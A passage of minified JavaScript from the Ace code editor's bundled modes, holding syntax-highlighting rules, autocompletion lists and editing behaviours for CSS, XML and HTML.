r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var 